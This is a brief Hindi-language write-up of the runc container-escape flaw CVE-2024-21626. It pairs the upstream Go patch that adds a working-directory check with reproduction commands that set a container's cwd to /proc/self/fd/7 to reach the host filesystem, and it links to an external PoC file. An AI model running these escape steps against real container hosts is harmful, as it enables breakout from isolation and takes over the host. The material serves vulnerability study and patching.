
मूल कारण और प्रूफ ऑफ कोड
मूल कारण और प्रूफ ऑफ कोड
make install
make uninstall
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
"net"
"os"
+ "path/filepath"
"runtime"
"runtime/debug"
"strconv"
@@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
return nil
}
+// verifyCwd ensures that the current working directory is still inside
+// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
// it indicates the cwd is outside the container.
// See CVE-2024-21626.
+func verifyCwd() error {
+ if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
+ return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
+ } else if err != nil {
+ return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
+ } else if !filepath.IsAbs(wd) {
+ // Sanity check: cwd should always be absolute
+ return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
+ }
+ return nil
+}
@@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
if err := system.ClearKeepCaps(); err != nil {
return fmt.Errorf("unable to clear keep caps: %w", err)
}
+ // After chdir to config.Cwd, ensure it’s still inside the container
+ if err := verifyCwd(); err != nil {
+ return err
+ }
return nil
}
- wsl, vmware (Ubuntu 18 ~ 22)
- kernel (6.6.87)
- runc ( ≤ 1.1.11)
- docker (28.1.1)
- go (1.20.14)
mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs
docker pull alpine:latest
docker export $(docker create alpine:latest) | tar x -C rootfs/
runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
sudo bash -c "exec 7</; runc run demo"
कंटेनर निर्माण के समय कार्यशील निर्देशिका को एक विशिष्ट फ़ाइल डिस्क्रिप्टर पर सेट किया जाना चाहिए। होस्ट के खुले fd और कंटेनर के अंदर के fd जुड़ जाते हैं, जिससे डोकर एस्केप संभव हो जाता है।
PoC फ़ाइल -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing
- make install, make uninstall